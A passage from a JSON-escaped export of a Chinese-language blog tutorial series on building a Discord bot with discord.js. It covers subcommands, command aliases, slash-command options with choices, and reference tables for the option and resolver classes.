时,提示了两个子命令:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220713000603222-1244642579.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e执行 \u003ccode\u003e/subcmd server\u003c/code\u003e :\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220713000606307-524172865.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e执行 \u003ccode\u003e/subcmd user @BlogTest\u003c/code\u003e:(注意你需要从提示栏中回车选定 target 用户,可不能直接输入 \"@ + 用户名\" 就完活了,因为可能存在重名用户)\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220713014652764-1775725127.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e执行 \u003ccode\u003e/subcmd user\u003c/code\u003e:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220713010022170-1269680805.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e分析代码:\u003c/p\u003e\n\u003cp\u003e下面的节选代码,它声明了一个叫 user 的子命令,它的输入参数是一个 Option,一个 User 类型的 Option。这个 Option 叫 target。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n\t\t.addSubcommand(subcommand =\u0026gt; \n\t\t\tsubcommand.setName('user')\n\t\t\t.setDescription('Info about a user')\n\t\t\t.addUserOption(option =\u0026gt; option.setName('target').setDescription('The user')))\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e下面的节选代码,它声明了一个叫 server 的子命令,没有参数。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n\t\t.addSubcommand(subcommand =\u0026gt;\n\t\t\tsubcommand.setName('server')\n\t\t\t.setDescription('Info about the server')),\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e下面的代码,首先上来,判断子命令是 user 还是 server。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e如果子命令是 user,则通过 \u003ccode\u003einteraction.options.getUser(target)\u003c/code\u003e 获取 target 字段的值,并赋值给 theUser 变量。\n\u003cul\u003e\n\u003cli\u003e如果 theUser 为 null,则用户没有给定值,则会回复用户的信息(用户名和用户的 Snowflake ID)。\u003c/li\u003e\n\u003cli\u003e如果 theUser 非 null,则输出这个用户的信息(用户名和用户的 Snowflake ID)。注意这里的 user 将是一个有效 Discord 用户,不会是无效的 Discord 用户作为输入。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e如果子命令是 server,则回复服务器的信息(服务器名称和服务器人数)。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n\tasync execute(interaction) {\n\t\tif (interaction.options.getSubcommand() === 'user') {\n\t\t\tconst theUser = interaction.options.getUser('target');\n\n\t\t\tif (theUser) {\n\t\t\t\tawait interaction.reply(`Username: ${theUser.username}\\nID: ${theUser.id}`);\n\t\t\t} else {\n\t\t\t\t// 用户没有指定 target user,我们输出命令发起者自己就好\n\t\t\t\tawait interaction.reply(`Your username: ${interaction.user.username}\\nYour ID: ${interaction.user.id}`);\n\t\t\t}\n\t\t} else if (interaction.options.getSubcommand() === 'server') {\n\t\t\tawait interaction.reply(`Server name: ${interaction.guild.name}\\nTotal members: ${interaction.guild.memberCount}`);\n\t\t}\n\t},\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eChapter 8 - 斜杠命令的多重命令名\u003c/h2\u003e\n\u003cp\u003e比如代码 \u003ccode\u003ecommands/utils/sameCmd.js\u003c/code\u003e,改造自 \u003ccode\u003ecommands/subCmd.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js'); \n \nmodule.exports = { \n data: new SlashCommandBuilder() \n .setName('samecmd') \n .setDescription('Subcommand! Reply with user\\'s or server \\'s info.') \n .addSubcommand(subcommand =\u0026gt; \n subcommand.setName('user') \n .setDescription('Info about a user') \n .addUserOption(option =\u0026gt; option.setName('target').setDescription('The user'))) \n .addSubcommand(subcommand =\u0026gt; \n subcommand.setName('server') \n .setDescription('Info about the server')), \n akaNames: ['samecmd2', 'samecmd3', \"samecmd4\"], \n \n async execute(interaction) { \n if (interaction.options.getSubcommand() === 'user') { \n const theUser = interaction.options.getUser('target'); \n \n if (theUser) { \n await interaction.reply(`Username: ${theUser.username}\\nID: ${theUser.id}`); \n } else { \n // 用户没有指定 target user,我们输出命令发起者自己就好 \n await interaction.reply(`Your username: ${interaction.user.username}\\nYour ID: ${interaction.user.id}`); \n } \n } else if (interaction.options.getSubcommand() === 'server') { \n await interaction.reply(`Server name: ${interaction.guild.name}\\nTotal members: ${interaction.guild.memberCount}`); \n } \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e关键就是中间的 \u003ccode\u003eakaNames: ['samecmd2', 'samecmd3', \"samecmd4\"], \u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e我们为该命令起了 4 个名字:一开始的 \u003ccode\u003esamecmd\u003c/code\u003e,和 akaNames 描述的 \u003ccode\u003esameCmd2\u003c/code\u003e、 \u003ccode\u003esameCmd3\u003c/code\u003e、 \u003ccode\u003esameCmd4\u003c/code\u003e 。\u003c/p\u003e\n\u003cp\u003e对了,我们把代码保存到了 \u003ccode\u003ecommands/utils\u003c/code\u003e 这个新文件夹,为了使得 \u003ccode\u003esameCmd.js\u003c/code\u003e 注册,需要修改 \u003ccode\u003ecmdPaths.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = { \n data: [\"./commands\", \"./commands/utils\"], \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220723060051400-163673119.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220723060119552-533298490.png\" alt=\"image\" /\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-7/"},{"title":"Bot in Discord with discord.js (6)","time":"2022-07-13T00:00:00Z","content":"\u003ch2\u003eChapter 9 - 斜杠命令的参数:Options 和 Choices\u003c/h2\u003e\n\u003ch3\u003e注册斜杠命令是前提\u003c/h3\u003e\n\u003cp\u003eDiscord 为开发人员提供了创建客户端集成斜杠命令的选项。 在本节中,我们将介绍如何使用 discord.js 注册这些命令!任何斜杠命令在可以被使用前,都需要先向 Discord 服务器注册。命令在没做出改动的情况下,不需要每次启动机器人之前注册一遍命令。\u003c/p\u003e\n\u003ch3\u003e选项 Options\u003c/h3\u003e\n\u003cp\u003e应用程序命令可以有选项。你可以将这些选项视为函数的参数并指定它们,如下所示:\u003c/p\u003e\n\u003cp\u003e比如 \u003ccode\u003ecommands/echo.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('echo')\n\t\t.setDescription('Replies with your input!')\n\t\t.addStringOption(option =\u0026gt;\n\t\t\toption.setName('input')\n\t\t\t\t.setDescription('The input to echo back')\n\t\t\t\t.setRequired(true)),\n\tasync execute(interaction) {\n\t\tconst input = interaction.options.getString(\"input\");\n\t\tawait interaction.reply(input);\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们为这个斜杠命令设置了命令名:\u003ccode\u003eecho\u003c/code\u003e,设置了简介说明:\u003ccode\u003eReplies with your input!\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e除此之外,我们为这个命令添加了 option 用于接受命令参数,就像 c 语言函数接收参数那样。\u003c/p\u003e\n\u003cp\u003e这里只有一个 option,类型是字符串类型,只接收字符串(由 \u003ccode\u003e.addStringOption\u003c/code\u003e 看出)。我们为这个 option 设置了名称 \u003ccode\u003einput\u003c/code\u003e,设置了说明 \u003ccode\u003eThe input to echo back\u003c/code\u003e,并设置其为必填(由 \u003ccode\u003e.setRequired(true)\u003c/code\u003e 指定)。\u003c/p\u003e\n\u003cp\u003e命令效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712100547224-825130046.png\" alt=\"image\" /\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712100330532-1982660812.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e除了字符串选项外,discord.js 提供了很多 Option 类型:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e\u003cstrong\u003e类型\u003c/strong\u003e\u003c/th\u003e\n\u003cth\u003e\u003cstrong\u003e设置方法名\u003c/strong\u003e\u003c/th\u003e\n\u003cth\u003e\u003cstrong\u003e说明\u003c/strong\u003e\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eSTRING\u003c/td\u003e\n\u003ctd\u003e.setStringOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要字符串值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eINTEGET\u003c/td\u003e\n\u003ctd\u003e.setIntegetOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要整数值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBOOLEAN\u003c/td\u003e\n\u003ctd\u003e.setBooleanOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要布尔值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eUSER\u003c/td\u003e\n\u003ctd\u003e.setUserOption()\u003c/td\u003e\n\u003ctd\u003e设置选项以要求 Discord 用户或 snowflake 作为值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCHANNEL\u003c/td\u003e\n\u003ctd\u003e.setChannelOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要 Discord 服务器频道(Server Channel) 或 snowflake 作为值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eROLE\u003c/td\u003e\n\u003ctd\u003e.setRoleOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要 Discord 身份组或 snowflake 作为值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eMENTIONABLE\u003c/td\u003e\n\u003ctd\u003e.setMentionableOption()\u003c/td\u003e\n\u003ctd\u003e设置选项以要求用户、身份组或 snowflake 作为值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eNUMBER\u003c/td\u003e\n\u003ctd\u003e.setNumberOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要小数(也称为浮点数)值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eATTACHMENT\u003c/td\u003e\n\u003ctd\u003e.setAttachmentOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要附件\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSUB_COMMAND\u003c/td\u003e\n\u003ctd\u003e-\u003c/td\u003e\n\u003ctd\u003e将选项设置为子命令\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSUB_COMMAND_GROUP\u003c/td\u003e\n\u003ctd\u003e-\u003c/td\u003e\n\u003ctd\u003e将选项设置为子命令组\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eOption 经常和 Choice 搭配,因此下面我们先介绍 Choice,再给出更多的例子。\u003c/p\u003e\n\u003ch3\u003e选择 Choices\u003c/h3\u003e\n\u003cp\u003e“选项” 和 “选择” 我感觉都翻译的不咋样,容易弄混,所以我还是用回英文 Option 和 Choice 吧。\u003c/p\u003e\n\u003cp\u003eChoice 只能作用于 Option。\u003c/p\u003e\n\u003cp\u003eChoice 只能是 STRING(字符串) 或 INTEGER(整型)类型的 Option 才可以拥有的。\u003c/p\u003e\n\u003cp\u003eOption 很自由,用户想输入什么合法的内容就接收什么内容。\u003c/p\u003e\n\u003cp\u003eChoice 就像 C 语言的 \u003ccode\u003eenum\u003c/code\u003e,用户只能从一些程序给定的选择里挑一个出来。\u003c/p\u003e\n\u003cp\u003e如果一个 Option 被 Choice “绑定”了,那么 Option 的输入值,有效值只能是 Choices。\u003c/p\u003e\n\u003cp\u003e我们通过 \u003ccode\u003e.addChoice()\u003c/code\u003e 方法来构造 Choice。\u003c/p\u003e\n\u003cp\u003e给个例子:\u003ccode\u003ecommands/subOption.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('giftest')\n\t\t.setDescription('MultiOption test.')\n\t\t.addStringOption(option =\u0026gt;\n\t\t\toption.setName(\"category\")\n\t\t\t\t.setDescription(\"The choices category\")\n\t\t\t\t.setRequired(true)\n\t\t\t\t.addChoices(\n\t\t\t\t\t{ name: 'Funny', value: 'gif_funny'},\n\t\t\t\t\t{ name: 'Meme', value: 'gif_meme'},\n\t\t\t\t\t{ name: 'Movie', value: 'gif_movie'}))\n\t\t.addIntegerOption(option =\u0026gt;\n\t\t\toption.setName(\"amount\")\n\t\t\t\t.setDescription(\"The amount of gifs you want\")\n\t\t\t\t.setRequired(true)\n\t\t\t\t.setMinValue(1)\n\t\t\t\t.setMaxValue(5)),\n\tasync execute(interaction) {\n\t\tconst category = interaction.options.getString(\"category\");\n\t\tawait interaction.reply(category);\n\t\tfor (var i=2; i \u0026lt;= interaction.options.getInteger(\"amount\"); i++) {\n\t\t\tawait interaction.followUp(category);\n\t\t}\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e分析一下这个例子之前,我们先看效果图。\u003c/p\u003e\n\u003cp\u003e错误用法之一:amount 的给定值小于允许的最小值(1),或大于了允许的最大值(5)\n\u003ccode\u003e/giftest category:Funny amount:7\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712125309697-519004000.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e错误用法之二:amount 类型为整数,却输入了浮点数\n\u003ccode\u003e/giftest category:Movie amount:4.9\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712130257095-983666074.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e错误用法之三:未填所有必填项\n\u003ccode\u003e/giftest category: amount:1\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712130812688-1865799060.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e错误用法之四:category 字段 作为 Option 类型,用户填入了非有效选择\n\u003ccode\u003e/giftest category:ddd amount:2\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712125311439-904337394.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e正确用法:\u003ccode\u003e/giftest category:Funny amount:3\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712125441257-1308943218.png\" alt=\"image\" /\u003e\n好,我们来解释代码。\u003c/p\u003e\n\u003cp\u003e这是一个同时使用了 Options 和 Choices 的代码例子。\u003c/p\u003e\n\u003cp\u003e这段节选代码,它指示了斜杠命令的命令名:\u003ccode\u003egiftest\u003c/code\u003e,和命令描述:\u003ccode\u003eMultiOption test.\u003c/code\u003e。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\ndata: new SlashCommandBuilder()\n\t\t.setName('giftest')\n\t\t.setDescription('MultiOption test.')\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这段节选代码,它为 \u003ccode\u003e/giftest\u003c/code\u003e 构造了第一个 Option 参数,而且是 string 类型的。\u003c/p\u003e\n\u003cp\u003e这个 Option 它的 “参数名” 是 \u003ccode\u003ecategory\u003c/code\u003e,必填,且有效值只可以是由紧跟其后的 Choices 的一项(Funny、Meme 或 Movie)。\u003c/p\u003e\n\u003cp\u003e这个 Choices 组有三条项目,每条都可以看成是 “键值对”。\u003c/p\u003e\n\u003cp\u003e同一个 Option 的 Choices 中,name 字段必须唯一,value字段倒是可以相同。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n\t\t.addStringOption(option =\u0026gt;\n\t\t\toption.setName(\"category\")\n\t\t\t\t.setDescription(\"The choices category\")\n\t\t\t\t.setRequired(true)\n\t\t\t\t.addChoices(\n\t\t\t\t\t{ name: 'Funny', value: 'gif_funny'},\n\t\t\t\t\t{ name: 'Meme', value: 'gif_meme'},\n\t\t\t\t\t{ name: 'Movie', value: 'gif_movie'}))\n\t\t\t\t\t\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这段节选代码,为斜杠命令构造了第二个 Option 参数,名为 amount,类型是 Integer,必填。\u003c/p\u003e\n\u003cp\u003e我们为 amount 这个值设定了输入时允许的最小值:1,和最大值:5。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n\t\t.addIntegerOption(option =\u0026gt;\n\t\t\toption.setName(\"amount\")\n\t\t\t\t.setDescription(\"The amount of gifs you want\")\n\t\t\t\t.setRequired(true)\n\t\t\t\t.setMinValue(1)\n\t\t\t\t.setMaxValue(5)),\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e下面的 execute() 函数,功能是回复 amount 遍 category 字段对应的键值对的值(gif_funny、git_meme 或 gif_movie)。\u003c/p\u003e\n\u003cp\u003e我们通过方法 \u003ccode\u003einteraction.options.getString(\"category\")\u003c/code\u003e 来获取 category 的值,即选定 choice 的键值对的值(value)。\u003c/p\u003e\n\u003cp\u003e我们通过方法 \u003ccode\u003einteraction.options.getInteger(\"amount\")\u003c/code\u003e 来获取 amount 的值,这是个用户输入的整数。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n\tasync execute(interaction) {\n\t\tconst category = interaction.options.getString(\"category\");\n\t\tawait interaction.reply(category);\n\t\tfor (var i=2; i \u0026lt;= interaction.options.getInteger(\"amount\"); i++) {\n\t\t\tawait interaction.followUp(category);\n\t\t}\n\t},\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们发现,discord.js 提供的方法丰富多样,对于 bot 开发来说,是够用的。\u003c/p\u003e\n\u003cp\u003e我们在上面的 \u003ccode\u003ecommands/subOption.js\u003c/code\u003e 中看到,我们通过 \u003ccode\u003e.setName(\"giftest\")\u003c/code\u003e 设置了 name 字段的值,通过 \u003ccode\u003e.setDescription(\"MultiOption test.\")\u003c/code\u003e 设置了 description 字段的值,通过 \u003ccode\u003e.setMinValue(1)\u003c/code\u003e 设置了 minValue 的值。这些都是利用 discord.js 定义好的方法来设置属性的值,它们有个共同特点,就是都是 “set” 开头的方法名称,我们叫它们 set 方法。\u003c/p\u003e\n\u003cp\u003e类似地,我们通过 \u003ccode\u003e.getString(\"category\")\u003c/code\u003e、\u003ccode\u003e.getInteger(\"amount\")\u003c/code\u003e 来获取相应字段的值,它们有个共同特点,就是都是 “get” 开头的方法名称,我们叫它们 get 方法。\u003c/p\u003e\n\u003cp\u003eset和get一般一起出现,如果只定义了一个会有特殊意义:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e如果只有get,表示该属性只可读,不可写\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e如果只有set,表示该属性只可写,不可读\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eApplicationCommandOptionData 类\u003c/h3\u003e\n\u003cp\u003e应用程序命令或子命令的选项。来自 https://discord.js.org/#/docs/discord.js/main/typedef/ApplicationCommandOptionData\u003c/p\u003e\n\u003cp\u003e请注意,为任何 snake_case (下划线风格)属性提供 camelCase (驼峰风格) 对应项的值将丢弃提供的 snake_case (下划线风格) 属性。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e属性名\u003c/th\u003e\n\u003cth\u003e类型\u003c/th\u003e\n\u003cth\u003e可选?\u003c/th\u003e\n\u003cth\u003e描述\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.type\u003c/td\u003e\n\u003ctd\u003eApplicationCommandOptionType\u003c/td\u003e\n\u003ctd\u003e\u003c/td\u003e\n\u003ctd\u003eOption 的类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.name\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e\u003c/td\u003e\n\u003ctd\u003eOption 的名称\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.nameLocalizations\u003c/td\u003e\n\u003ctd\u003eObject \u0026lt; Locale, string \u0026gt;\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003eOption 名称的本地化\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.description\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e\u003c/td\u003e\n\u003ctd\u003eOption 说明\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.descriptionLocalizations\u003c/td\u003e\n\u003ctd\u003eObject \u0026lt; Locale, string \u0026gt;\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003eOption 描述的本地化\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.required\u003c/td\u003e\n\u003ctd\u003eboolean\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003e是否必须需要该项 Option\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.autocomplete\u003c/td\u003e\n\u003ctd\u003eboolean\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003e是否为 ApplicationCommandOptionType.String 、 ApplicationCommandOptionType.Integer 或 ApplicationCommandOptionType.Number 类型的 Option 启用自动完成\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.choices\u003c/td\u003e\n\u003ctd\u003eArray \u0026lt; ApplicationCommandOptionChoice \u0026gt;\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003e供用户选择的 Choices\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.options\u003c/td\u003e\n\u003ctd\u003eArray \u0026lt; ApplicationCommandOption \u0026gt;\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003e如果此选项是子命令(组),则附加 Option\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.channelTypes\u003c/td\u003e\n\u003ctd\u003eArray \u0026lt; ChannelType \u0026gt;\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003e当Option 类型为频道 (channel) 时,可以选择的允许的频道 (channel) 类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.minValue\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003eApplicationCommandOptionType.Integer 或 ApplicationCommandOptionType.Number 类型的 Option 的最小值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.maxValue\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003eApplicationCommandOptionType.Integer 或 ApplicationCommandOptionType.Number 类型的 Option 的最大值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.minLength\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003eApplicationCommandOptionType.String 类型的 Option 的最小长度(最大 6000)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.maxLength\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003eApplicationCommandOptionType.String 类型的 Option 的最大长度(最大 6000)\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e对于上面提到的 ApplicationCommandOptionData 类,有效的 set 方法有:\u003c/p\u003e\n\u003cp\u003e.setName(name)\u003c/p\u003e\n\u003cp\u003e.setNameLocalizations(nameLocalizations)\u003c/p\u003e\n\u003cp\u003e.setDescription(description)\u003c/p\u003e\n\u003cp\u003e.setDescriptionLocalizations(descriptionLocalizations)\u003c/p\u003e\n\u003cp\u003e.setOptions(options)\u003c/p\u003e\n\u003cp\u003e而 get option 的值时,方法会返回\u003ccode\u003eCommandInteractionOptionResolver\u003c/code\u003e。\u003c/p\u003e\n\u003ch3\u003eApplicationCommandOptionChoiceData 类\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e属性名\u003c/th\u003e\n\u003cth\u003e类型\u003c/th\u003e\n\u003cth\u003e可选?\u003c/th\u003e\n\u003cth\u003e描述\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.name\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eChoice 的名称\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.nameLocalizations\u003c/td\u003e\n\u003ctd\u003eObject\u0026lt; Locale,string\u0026gt;\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003e此 Choice 的本地化名称\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.value\u003c/td\u003e\n\u003ctd\u003estring 或 number\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eChoice 的值\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3\u003eCommandInteractionOptionResolver 类\u003c/h3\u003e\n\u003cp\u003e命令交互选项的解析器。\u003c/p\u003e\n\u003cp\u003e方法(Methods):\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e方法名\u003c/th\u003e\n\u003cth\u003e第一个参数\u003c/th\u003e\n\u003cth\u003e第二个参数\u003c/th\u003e\n\u003cth\u003e返回值类型\u003c/th\u003e\n\u003cth\u003e说明\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.get()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eCommandInteractionOption\u003c/td\u003e\n\u003ctd\u003e按名称获取选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getAttachment()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eAttachment\u003c/td\u003e\n\u003ctd\u003e获取附件选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getBoolean()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eboolean\u003c/td\u003e\n\u003ctd\u003e获取一个布尔选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getChannel()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eGuildChannelThreadChannelAPIChannel\u003c/td\u003e\n\u003ctd\u003e获取频道选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getFocused()\u003c/td\u003e\n\u003ctd\u003e[getFull]\u003c/td\u003e\n\u003ctd\u003e无\u003c/td\u003e\n\u003ctd\u003estring 或 